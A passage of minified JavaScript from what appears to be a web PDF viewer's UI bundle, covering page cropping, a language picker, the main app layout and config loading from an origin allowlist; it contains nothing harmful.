e/P[k[R]]*P.pt},q=function(e,t){return(e/=P.pt)*P[k[t]]},Z=function(e){if(e){var t=0;(e=e.toString()).includes(".")&&t++,e.length>5+t&&(e=e.slice(0,5+t))}return e},Y=LJ(Object(l.useState)(),2),$=Y[0],K=Y[1],X=LJ(Object(l.useState)(),2),Q=X[0],J=X[1],ee=LJ(Object(l.useState)(),2),te=ee[0],ne=ee[1],oe=LJ(Object(l.useState)(),2),ie=oe[0],ae=oe[1];Object(l.useEffect)((function(){if(t){le(R);var e=function(){K(Math.max(0,Z(q(t.getY(),R)))),J(Math.max(0,Z(q(t.getHeight(),R)))),ne(Math.max(0,Z(q(t.getX(),R)))),ae(Math.max(0,Z(q(t.getWidth(),R)))),N(!1)};return vt.addEventListener("annotationChanged",e),function(){vt.removeEventListener("annotationChanged",e)}}}),[R,t]),Object(l.useEffect)((function(){t&&d(t.getRect())}),[I]),Object(l.useEffect)((function(){if(t){var e=function(){K(Z(q(t.getY(),R))),J(Z(q(t.getHeight(),R))),ne(Z(q(t.getX(),R))),ae(Z(q(t.getWidth(),R)))};return vt.addEventListener("pagesUpdated",e),function(){vt.removeEventListener("pagesUpdated",e)}}}),[]);var le=function(e){j(e),K(Z(q(t.getY(),e))),J(Z(q(t.getHeight(),e))),ne(Z(q(t.getX(),e))),ae(Z(q(t.getWidth(),e)))},se=function(e){switch(e){case"apply":ce();break;case"cancel":a?fe():o()}},ue=re(),ce=function(){var e=w("cropPopUp.cropModal.applyTitle"),t={message:w("cropPopUp.cropModal.applyMessage"),title:e,onConfirm:function(){i()}};ue(Ps.showWarningMessage(t))},fe=function(){var e=w("cropPopUp.cropModal.cancelTitle"),t={message:w("cropPopUp.cropModal.cancelMessage"),title:e,onConfirm:function(){o()}};ue(Ps.showWarningMessage(t))},de=LJ(Object(l.useState)(""),2),pe=de[0],he=de[1];return h&&!p?s.a.createElement("div",{className:E},s.a.createElement("div",{className:"document-crop-mobile-section"},s.a.createElement("div",{className:"document-crop-mobile-container"},s.a.createElement("div",{className:"custom-select document-crop-selector"},s.a.createElement(ky,{items:Object.values(T),onClickItem:function(e){return r(Object.keys(T).find((function(t){return T[t]===e})))},currentSelectionKey:T[n]}),"MULTI_PAGE"===n&&s.a.createElement("div",{className:"document-crop-page-input-container"},s.a.createElement(bF,{"data-element":"multiPageCropPageNumberInput",selectedPageNumbers:v,pageCount:S,onSelectedPageNumbersChange:A,onBlurHandler:null,placeHolder:w("option.documentControls.placeholder"),onError:_})),pe&&s.a.createElement("div",{className:"page-number-error"},pe)),s.a.createElement("button",{className:"save-button","data-element":"cropApplyButton",onClick:function(){return se("apply")},disabled:!a},w("action.apply"))),s.a.createElement("button",{className:"cancel-button","data-element":"cropCancelButton",onClick:function(){return se("cancel")}},s.a.createElement(cf,{glyph:"icon-close"})))):s.a.createElement("div",{className:E},s.a.createElement("div",{className:"document-crop-section"},s.a.createElement("span",{className:"menu-title"},w("cropPopUp.title")),s.a.createElement(Kv,{label:w("cropPopUp.allPages"),name:"All","data-element":"allPagesCropRadioButton",onChange:function(){return r("ALL_PAGES")},checked:"ALL_PAGES"===n,radio:!0}),s.a.createElement(Kv,{label:w("cropPopUp.singlePage"),name:"SINGLE_PAGE","data-element":"singlePageCropRadioButton",onChange:function(){return r("SINGLE_PAGE")},checked:"SINGLE_PAGE"===n,radio:!0}),s.a.createElement(Kv,{label:w("cropPopUp.multiPage"),name:"MULTI_PAGE","data-element":"multiPageCropRadioButton",onChange:function(){return r("MULTI_PAGE")},checked:"MULTI_PAGE"===n,radio:!0}),"MULTI_PAGE"===n&&s.a.createElement("div",{className:"document-crop-page-input-container"},s.a.createElement(bF,{"data-element":"multiPageCropPageNumberInput",selectedPageNumbers:v,pageCount:S,onSelectedPageNumbersChange:A,onBlurHandler:null,placeHolder:w("option.documentControls.placeholder"),onError:_})),pe&&s.a.createElement("div",{className:"page-number-error"},pe)),s.a.createElement("div",{className:a&&t?"crop-active":"crop-inactive"},s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"document-crop-section"},s.a.createElement("div",{className:"collapsible-menu",style:{pointerEvents:a?"all":"none"},onClick:G,onTouchStart:G},s.a.createElement("div",{className:"menu-title"},w("cropPopUp.cropDimensions")),s.a.createElement(cf,{"data-testid":"collapsible-menu-icon",className:a?"crop-active":"crop-inactive",glyph:"icon-chevron-".concat(z&&t?"up":"down")})),z&&t&&s.a.createElement(jJ,{yOffset:$,height:Q,xOffset:te,width:ie,unit:R,autoTrim:B,supportedUnits:k,autoTrimOptions:Object.keys(D),onDimensionChange:function(e,n){switch(e||(e=0),e=function(e,n){if(e<0)return 0;var r=t?t.getPageNumber():g();if(n)switch(n){case"xOffset":e=f(r)?Math.min(e,q(u(r)-t.getWidth(),R)):Math.min(e,q(c(r)-t.getWidth(),R));break;case"width":e=f(r)?Math.min(e,q(u(r)-t.getX(),R)):Math.min(e,q(c(r)-t.getX(),R));break;case"yOffset":e=f(r)?Math.min(e,q(c(r)-t.getHeight(),R)):Math.min(e,q(u(r)-t.getHeight(),R));break;case"height":e=f(r)?Math.min(e,q(c(r)-t.getY(),R)):Math.min(e,q(u(r)-t.getY(),R))}return e=Math.max(Number(e),0)}(e,n),n){case"yOffset":t.setY(W(e)),K(Z(e));break;case"height":t.setHeight(W(e)),J(Z(e));break;case"xOffset":t.setX(W(e)),ne(Z(e));break;case"width":t.setWidth(W(e)),ae(Z(e))}t&&d(t.getRect())},onUnitChange:le,autoTrimActive:I,setAutoTrimActive:N,onAutoTrimChange:function(e){if(e){H(e),N(!0);var n=D[e].yOffset*P[k[R]],r=Math.max(0,D[e].height*P[k[R]]),o=D[e].xOffset*P[k[R]],i=Math.max(0,D[e].width*P[k[R]]);t.setY(W(n)),K(Z(n)),t.setX(W(o)),ne(Z(o)),t.setHeight(W(r)),J(Z(r)),t.setWidth(W(i)),ae(Z(i)),t&&d(t.getRect())}else H(void 0)}})),s.a.createElement("div",{className:"divider"})),s.a.createElement("div",{className:"buttons"},s.a.createElement("button",{className:"cancel-button","data-element":"cropCancelButton",onClick:function(){return se("cancel")}},w("action.cancel")),s.a.createElement("button",{className:"save-button","data-element":"cropApplyButton",onClick:function(){return se("apply")},disabled:!a||pe},w("action.apply"))))};function DJ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return FJ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return FJ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function FJ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var BJ=function(e){var t=DJ(Object(l.useState)(null),2),n=t[0],r=t[1];return Object(l.useEffect)((function(){var t=function(t,n){var o=t[0];"add"===n&&o.ToolName===window.Core.Tools.ToolNames.CROP&&o instanceof window.Annotations.RectangleAnnotation&&(r(o),e()),"delete"===n&&o.ToolName===window.Core.Tools.ToolNames.CROP&&o instanceof window.Annotations.RectangleAnnotation&&r(null)},n=function(t,n){var o=t[0];"selected"===n&&o.ToolName===window.Core.Tools.ToolNames.CROP&&o instanceof window.Annotations.RectangleAnnotation&&(r(o),e())};return vt.addEventListener("annotationChanged",t),vt.addEventListener("annotationSelected",n),function(){vt.removeEventListener("annotationChanged",t),vt.removeEventListener("annotationSelected",n)}}),[]),n};function HJ(){return(HJ=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function VJ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return zJ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return zJ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function zJ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var UJ=function(){var e,t,n,r,o,i=vt.getTool(window.Core.Tools.ToolNames.CROP),a=VJ(le((function(e){return[fi.getActiveToolName(e)===window.Core.Tools.ToolNames.CROP&&fi.isElementOpen(e,"documentCropPopup"),fi.isInDesktopOnlyMode(e),fi.getPresetCropDimensions(e)]})),3),u=a[0],c=a[1],f=a[2],d=re(),p=VJ(Object(l.useState)(i.getIsCropping()),2),h=p[0],m=p[1],g=["leftPanel","searchPanel","notesPanel","redactionPanel"],v=function(){d(Ps.openElement("documentCropPopup")),O(i.getPagesToCrop()),instance.UI.closeElements(g),m(i.getIsCropping())};Object(l.useEffect)((function(){var e=function(e,t){e instanceof Core.Tools.CropCreateTool?v():t instanceof Core.Tools.CropCreateTool&&(m(i.getIsCropping()),y())};return vt.addEventListener("toolModeUpdated",e),function(){vt.removeEventListener("toolModeUpdated",e)}}));var y=function(){var e=document.querySelector("[data-element=header]");e&&(e.style.pointerEvents="",e.style.opacity="1");var t=document.querySelector("[data-element=toolsHeader]");t&&(t.style.pointerEvents="",t.style.opacity="1")},b=BJ(v);Object(l.useEffect)((function(){h?function(){var e=document.querySelector("[data-element=header]");e&&(e.style.pointerEvents="none",e.style.opacity="0.5");var t=document.querySelector("[data-element=toolsHeader]");t&&(t.style.pointerEvents="none",t.style.opacity="0.5")}():y()}),[h]);var w=VJ(Object(l.useState)(null),2),E=w[0],S=w[1];Object(l.useEffect)((function(){i.setCropMode("ALL_PAGES"),S("ALL_PAGES")}),[]);var C=VJ(Object(l.useState)(i.getPagesToCrop()),2),x=C[0],O=C[1],A=VJ(le((function(e){return[fi.getDocumentContainerWidth(e),fi.getDocumentContainerHeight(e)]})),2),_=A[0],T=A[1],k=Object(l.useRef)(),P=(null===(e=k.current)||void 0===e?void 0:e.getBoundingClientRect().width)||0,M=(null===(t=k.current)||void 0===t?void 0:t.getBoundingClientRect().height)||0,R=((null===(n=document.querySelector("[data-element=header]"))||void 0===n?void 0:n.offsetHeight)||0)+((null===(r=document.querySelector("[data-element=toolsHeader]"))||void 0===r?void 0:r.offsetHeight)||0),j=(null===(o=documentViewer.getViewerElement())||void 0===o?void 0:o.getBoundingClientRect().right)||0,L=function(){var e={x:j+35,y:R+10};return b&&null!=k&&k.current&&(e.x=Math.min(e.x,_-P)),e},I=Object(l.useCallback)((function(){i.reset(),"MULTI_PAGE"===E&&(setPagesToCrop([]),i.setPagesToCrop([])),d(Ps.closeElement("documentCropPopup")),vt.setToolMode(window.Core.Tools.ToolNames.CROP)}),[]);Object(l.useEffect)((function(){m(i.getIsCropping())}),[b]);var N=Object(l.useCallback)((function(e){return F(e)?vt.getPageWidth(e):vt.getPageHeight(e)}),[]),D=Object(l.useCallback)((function(e){return F(e)?vt.getPageHeight(e):vt.getPageWidth(e)}),[]),F=Object(l.useCallback)((function(e){var t;return(null===(t=documentViewer)||void 0===t?void 0:t.getDocument().getPageRotation(e))%180!=0})),B=Object(l.useCallback)((function(){var e;return null===(e=documentViewer)||void 0===e?void 0:e.getPageCount()})),H=Object(l.useCallback)((function(){var e;return null===(e=documentViewer)||void 0===e?void 0:e.getCurrentPage()})),V=Object(l.useCallback)((function(e){vt.getAnnotationManager().getAnnotationsList().filter((function(e){return e.ToolName===window.Core.Tools.ToolNames.CROP})).forEach((function(t){t.setRect(e),vt.getAnnotationManager().drawAnnotationsFromList([t])}))}),[]),z={cropAnnotation:b,cropMode:E,onCropModeChange:function(e){i.setCropMode(e),S(e)},closeDocumentCropPopup:I,applyCrop:function(){i.applyCrop(),i.reset()},isCropping:h,getPageHeight:N,getPageWidth:D,isPageRotated:F,redrawCropAnnotations:V,isInDesktopOnlyMode:c,getPageCount:B,getCurrentPage:H,selectedPages:x,onSelectedPagesChange:function(e){e.length&&(O(e),i.setPagesToCrop(e),i.getIsCropping()&&"MULTI_PAGE"===E&&i.multiSelectAnnotations(e))},presetCropDimensions:f},U=Rf(["(max-width: 640px)"],[!0],!1);return u&&vt.getDocument()?U&&!c?s.a.createElement("div",{className:"DocumentCropPopupContainer",ref:k},s.a.createElement(NJ,HJ({},z,{isMobile:!0}))):s.a.createElement(ym.a,{cancel:"input, button, .collapsible-menu, .ui__choice__label",positionOffset:L(),bounds:{top:0,bottom:T-M,left:0-L().x,right:_-L().x-P}},s.a.createElement("div",{className:"DocumentCropPopupContainer",ref:k},s.a.createElement(NJ,z))):null};var GJ=function(){var e=le((function(e){return fi.getSelectedThumbnailPageIndexes(e)}));return s.a.createElement(Lp,{menu:"thumbnailsControlRotatePopup",trigger:"thumbnailsControlRotatePopupTrigger",onClose:void 0},s.a.createElement(uZ,{pageNumbers:e.map((function(e){return e+1})),warn:!0}))};var WJ=function(){var e=le((function(e){return fi.getSelectedThumbnailPageIndexes(e)}));return s.a.createElement(Lp,{menu:"thumbnailsControlInsertPopup",trigger:"thumbnailsControlInsertPopupTrigger",onClose:void 0},s.a.createElement(iZ,{pageNumbers:e.map((function(e){return e+1})),warn:!0}))};var qJ=function(){var e=le((function(e){return fi.getSelectedThumbnailPageIndexes(e)}));return s.a.createElement(Lp,{menu:"thumbnailsControlManipulatePopup",trigger:"thumbnailsControlManipulatePopupTrigger",onClose:void 0},s.a.createElement(bZ,{pageNumbers:e.map((function(e){return e+1})),warn:!0}))};var ZJ=function(){return s.a.createElement(s.a.Fragment,null,s.a.createElement(GJ,null),s.a.createElement(WJ,null),s.a.createElement(qJ,null))},YJ={pt_br:{i18next:"pt-BR",dayjs:"pt-br"},zh_cn:{i18next:"zh",dayjs:"zh-cn"},zh_tw:{i18next:"zh",dayjs:"zh-tw"}},$J=function(e){return function(t){var r=t;YJ[t]&&(r=YJ[t].dayjs||t),n(1150)("./".concat(r,".js")).then((function(){Fu.a.locale(r)})).catch((function(){Fu.a.locale("en")})).finally((function(){e.dispatch(Ps.setLanguage(t));var n=st.changeLanguage(t);KJ(n,t)}))}},KJ=function(e,t){e.then((function(e){var n=window.Annotations.DatePickerWidgetAnnotation,r=e("datePicker",{returnObjects:!0}),o=n.datePickerOptions;o.i18n=r,o.local=t,n.datePickerOptions=o,vt.getAnnotationsList().filter((function(e){return e instanceof n})).forEach((function(e){e.refreshDatePicker()}))}))},XJ=[["en","English"],["cs","česky, čeština"],["de","Deutsch"],["es","Español"],["fr","Français"],["hu","Magyar"],["it","Italiano"],["ja","日本語"],["ko","한국어"],["nl","Nederlands"],["pt_br","Português"],["pl","Polski"],["ru","Pусский"],["ro","Romanian"],["sv","Svenska"],["th","ไทย"],["vi","Tiếng Việt"],["zh_cn","简体中文"],["zh_tw","繁體中文"]],QJ=XJ.map((function(e){return e[0]})),JJ=function(){return QJ};n(1151);function e0(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return t0(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return t0(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function t0(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var n0=function(){var e=e0(le((function(e){return[fi.isElementDisabled(e,Yh.LANGUAGE_MODAL),fi.isElementOpen(e,Yh.LANGUAGE_MODAL),fi.getCurrentLanguage(e)]})),3),t=e[0],n=e[1],r=e[2],o=e0(Ks(),1)[0],i=re(),a=te(),u=e0(Object(l.useState)(r),2),c=u[0],f=u[1],d=js()("Modal","LanguageModal",{open:n,closed:!n}),p=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];i(Ps.closeElement(Yh.LANGUAGE_MODAL)),e&&f(r)};return t?null:s.a.createElement(Op,{onSwipedUp:p,onSwipedDown:p,preventDefaultTouchmoveEvent:!0},s.a.createElement(Jp,{locked:n},s.a.createElement("div",{className:d,"data-element":Yh.LANGUAGE_MODAL,onClick:p},s.a.createElement("div",{className:"container",onClick:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"header"},s.a.createElement("div",null,o("languageModal.selectLanguage")),s.a.createElement(bf,{img:"icon-close",onClick:p,title:"action.cancel"})),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"body"},XJ.map((function(e){return s.a.createElement("div",{key:e[0]},s.a.createElement(X_,{radio:!0,checked:c===e[0],onChange:function(){return f(e[0])},label:e[1],name:"ui_language"}))}))),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"footer"},s.a.createElement(bf,{className:"confirm modal-button",label:"action.apply",onClick:function(){c!==r&&$J(a)(c),p(!1)}}))))))},r0=["viewControlsOverlay","searchOverlay","menuOverlay","zoomOverlay","toolsOverlay","toolStylePopup","stampOverlay","signatureOverlay","measurementOverlay"];n(1152);function o0(e){return(o0="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function i0(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return a0(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return a0(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function a0(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var l0=window.matchMedia("(min-width: 641px) and (max-width: 900px)"),s0={removeEventHandlers:Is.a.func.isRequired},u0=function(e){var t,n=e.removeEventHandlers,r=te(),o=re(),i=i0(le((function(e){return[fi.isInDesktopOnlyMode(e)]})),1)[0];return Object(l.useEffect)((function(){function e(){var e=lh("auto_load",!0),t=lh("d","");t=t?JSON.parse(t):"";var n=(t=Array.isArray(t)?t:[t]).length>1,i=lh("startOffline",!1),a=lh("basePath","");if(window.Core.setBasePath(a),n){if(function(e,t){var n,r=null===(n=lh("extension",null))||void 0===n?void 0:n.split(",");if(r&&1!==r.length&&r.length!==e.length)throw new Error("'initialDoc' array length doesn't match 'extension' array length.\n Please add an extension for each document or add one for all documents.\n ex:\n Webviewer({ initialDoc: ['pdf_doc', 'word_doc'], extension: ['pdf', 'docx'] })\n OR\n Webviewer({ initialDoc: ['pdf_doc1', 'pdf_doc2', 'pdf_doc3'], extension: ['pdf'] })");r&&1===r.length&&console.warn("Extension option '".concat(r[0],"' will be applied to all tabs from the constructor.")),t.dispatch(Ps.setMultiTab(!0));var o=new Th(e,r,t);t.dispatch(Ps.setTabManager(o)),o.listenForAnnotChanges(),zt("onTabManagerReady",{tabManager:o})}(t,r),(t=t[0])&&e||i){var l={externalPath:lh("p",""),documentId:lh("did",null)};dh(o,t,l)}}else if((t=t[0])&&e||i){var s={extension:lh("extension",null),filename:lh("filename",null),externalPath:lh("p",""),documentId:lh("did",null)};dh(o,t,s)}}function i(){e(),window.removeEventListener("message",a),clearTimeout(t)}function a(e){e.isTrusted&&"object"===o0(e.data)&&"viewerLoaded"===e.data.type&&i()}return zt(Ht.VIEWER_LOADED),window.parent.postMessage({type:"viewerLoaded",id:parseInt(lh("id"),10)},"*"),window.addEventListener("blur",(function(){o(Ps.closeElements(r0))})),window.addEventListener("message",a,!1),t=setTimeout(i,500),n}),[]),Object(l.useEffect)((function(){l0.addListener((function(){l0.matches&&(o(Ps.setLeftPanelWidth(251)),o(Ps.setNotesPanelWidth(293)),o(Ps.setSearchPanelWidth(293)))}))}),[]),s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:js()({App:!0,"is-in-desktop-only-mode":i})},s.a.createElement(Fs,null),s.a.createElement(np,null),s.a.createElement(pp,null),s.a.createElement("div",{className:"content"},s.a.createElement(fj,null),s.a.createElement(KE,null),s.a.createElement(hL,{dataElement:"searchPanel",onResize:function(e){return o(Ps.setSearchPanelWidth(e))}},s.a.createElement(fL,null)),s.a.createElement(hL,{dataElement:"notesPanel",onResize:function(e){return o(Ps.setNotesPanelWidth(e))}},s.a.createElement(bR,null)),s.a.createElement(hL,{dataElement:"redactionPanel",onResize:function(e){return o(Ps.setRedactionPanelWidth(e))}},s.a.createElement(XQ,null)),s.a.createElement(hL,{dataElement:"wv3dPropertiesPanel",onResize:function(e){return o(Ps.setWv3dPropertiesPanelWidth(e))}},s.a.createElement(wJ,null))),s.a.createElement(zh,null),s.a.createElement(tm,null),s.a.createElement(YD,null),s.a.createElement(pm,null),s.a.createElement(AZ,null),s.a.createElement(ZJ,null),s.a.createElement(XL,null),s.a.createElement(yU,null),s.a.createElement(rI,null),s.a.createElement(uI,null),s.a.createElement(yI,null),s.a.createElement(WI,null),s.a.createElement(PN,null),s.a.createElement(BN,null),s.a.createElement(zN,null),s.a.createElement(ZN,null),s.a.createElement(ah,null),s.a.createElement(JN,null),s.a.createElement(uD,null),s.a.createElement(uF,null),s.a.createElement($F,null),s.a.createElement(mD,null),s.a.createElement(bD,null),s.a.createElement(OD,null),s.a.createElement(nB,null),s.a.createElement(SB,null),s.a.createElement(tZ,null),s.a.createElement(BZ,null),s.a.createElement(kJ,null),s.a.createElement(UJ,null),vt.isFullPDFEnabled()&&s.a.createElement(KN,null),s.a.createElement(n0,null)),s.a.createElement(PD,null),s.a.createElement(AD,null),s.a.createElement(_D,null),s.a.createElement(MD,null))};u0.propTypes=s0;var c0=Object(Ms.hot)(u0),f0=function(e){return"auto"===e||"wait"===e?window.Core.getDefaultBackendType():Promise.resolve(e)},d0=function(e,t){return e.filter((function(e){return p0(e).test(t)})).length},p0=function(e){return new RegExp("^".concat(e.split(/\*+/).map(h0).join(".*"),"$"))},h0=function(e){return e.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&")};d0.PropTypes={allowedOrigins:Is.a.array,origin:Is.a.string};var m0=d0;function g0(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var v0=function(e,t){return new Promise((function(n){if(!e)return n();var r=document.createElement("script");r.type="text/javascript",r.onload=function(){n()},r.onerror=function(){t&&console.warn(t),n()},r.src=e,document.getElementsByTagName("head")[0].appendChild(r)}))},y0=function(){return new Promise((function(e){window.parent===window?e():(window.addEventListener("message",function(){var t=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){g0(i,r,o,a,l,"next",e)}function l(e){g0(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function t(r){var o,i,a,l;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if("responseConfig"!==r.data.type){t.next=24;break}if(o=r.data.value,t.prev=2,!o){t.next=21;break}if(r.origin===window.location.origin){t.next=18;break}return t.next=7,fetch("configorigin.txt");case 7:if(i=t.sent,a="",200!==i.status){t.next=13;break}return t.next=12,i.text();case 12:a=t.sent;case 13:if(a=a.replace(/\r|\t/g,"\n"),l=a.split("\n").filter(Boolean),m0(l,"".concat(r.origin))){t.next=18;break}return console.warn("Config file requested to be loaded by origin ".concat(r.origin,". Please include this origin inside lib/ui/configorigin.txt to allow it to request config files.")),t.abrupt("return");case 18:return t.next=20,v0(r.data.value,"Config script could not be loaded");case 20:window.removeEventListener("message",n);case 21:return t.prev=21,e(),t.finish(21);case 24:case"end":return t.stop()}}),t,null,[[2,,21,24]])})));function n(e){return t.apply(this,arguments)}return n}()),window.parent.postMessage({type:"requestConfig",id:parseInt(lh("id"),10)},"*"))}))},b0=v0,w0=function(e){return new Array(e).fill().map((function(e,t){return"".concat(t+1)}))},E0=window.Core.Tools.ToolNames,S0=window.Core.Tools.ToolNames;function C0(e){return function(e){if(Array.isArray(e))return x0(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return x0(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return x0(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function x0(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var O0=function(e){var t=e.viewer.customPanels.map((function(e){return e.panel.dataElement}));return[].concat(["notesPanel","thumbnailsPanel","outlinesPanel","layersPanel","bookmarksPanel","signaturePanel"],C0(t))};function A0(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function _0(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?A0(Object(n),!0).forEach((function(t){T0(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):A0(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function T0(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var k0=function e(t,n,r,o){return t&&0!==t.length?(t.forEach((function(t,i){var a=P0(t,"".concat(n,"-").concat(i),r||t.locked);t.children&&t.children.length>0&&(a.children=e(t.children,"".concat(a.id),a.disabled,[])),o.push(a)})),o):o},P0=function(e,t,n){return _0(_0({},e),{},{children:[],prevVisibleState:!!e.visible,visible:!!e.visible,id:t,disabled:!!n,isLabel:void 0===e.visible&&void 0===e.obj})},M0=function(e,t,n){var r,o;if(!Tz()(e,t)){var i=(o=[],(r=e)&&r.forEach((function(e,t){var n=P0(e,"".concat(t),e.locked);o.push(n),n.children=k0(e.children,"".concat(n.id),n.disabled,[])})),o);n(Ps.setLayers(i))}};function R0(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function j0(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){R0(i,r,o,a,l,"next",e)}function l(e){R0(i,r,o,a,l,"throw",e)}a(void 0)}))}}var L0=!0;function I0(e){return function(e){if(Array.isArray(e))return N0(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return N0(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return N0(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function N0(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var D0=function(e,t){try{localStorage.setItem("toolData-".concat(e),JSON.stringify(t))}catch(e){console.warn("localStorage could not be accessed. 